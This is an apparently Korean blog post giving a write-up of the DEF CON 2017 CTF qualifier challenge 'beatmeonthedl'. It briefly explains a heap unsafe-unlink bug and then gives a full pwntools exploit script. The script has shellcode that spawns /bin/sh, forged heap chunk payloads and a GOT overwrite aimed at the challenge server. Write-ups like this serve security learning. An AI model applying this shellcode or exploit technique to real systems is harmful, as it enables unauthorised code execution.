ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Defcon 2017 - beatmeonthedl
    CTF 2017. 5. 6. 06:23

    dl이라서 다이나믹 링크 관련되서 익스플로잇하는 문제인줄 알았는데 그냥 힙 unsafe unlink를 이용해서 푸는 문제이다.



    취약점이 뻔하게 보인다.  그럼 바로 익스플로잇을 하되, 라이브러리를 릭했지만 라이브러리ㄱㅏ 제공되지않아 unsafe unlink를 두번해서 쉘코드를 올리고 got를 덮어 리턴했다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    from pwn import *
     
    = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me",6969)
    # p = remote("192.168.0.8",11111)
     
    def login():
        print p.recvuntil("username:")
        p.sendline("mcfly")
        print p.recvuntil("Pass:")
        p.sendline("awesnap")
     
    def req_ex(msg):
        print p.recvuntil("|")
        p.sendline("1")
        print p.recvuntil(">")
        p.sendline(str(msg))
     
    def printmsg():
        print p.recvuntil("|")
        p.sendline("2")
     
    def delete(idx):
        print p.recvuntil("|")
        p.sendline("3")
        print p.recvuntil(":")
        p.sendline(str(idx))
     
    def chgdata(idx,msg):
        print p.recvuntil("|")
        p.sendline("4")
        print p.recvuntil(":")
        p.sendline(str(idx))
        print p.recvuntil("data:")
        p.send(msg)
    reqlist = 0x609E80
    login()
    req_ex("A"*48)
    req_ex("B"*48)
    req_ex("C"*48)
    req_ex("D"*48)
    shellcode = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
    shellcode2 = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    payload = "C"*48
    payload += p64(0)
    payload += p64(0x42)
    payload += p64(reqlist-24)
    payload += p64(reqlist-16)
    chgdata(0,payload)
    delete(1)
    chgdata(0,"P"*24 + p64(0x609d20))
    chgdata(0,shellcode2)
     
    chgdata(2,payload)
    delete(3)
    chgdata(0,"Q"*24 + p64(0x6099D8))
    # leak here
    chgdata(0,p64(0x609d20))
     
    printmsg()
     
     
     
     
    p.interactive()
    cs


    'CTF' 카테고리의 다른 글

    SECUINSIDE 2017 - bug_manage_system  (0) 2017.07.05
    NOE BURYBURY  (0) 2017.05.10
    pwnable.tw deathnote  (0) 2017.01.24
    pwnable.tw orw  (0) 2017.01.24
    pwnable.tw start  (0) 2017.01.24

    댓글

Designed by Tistory.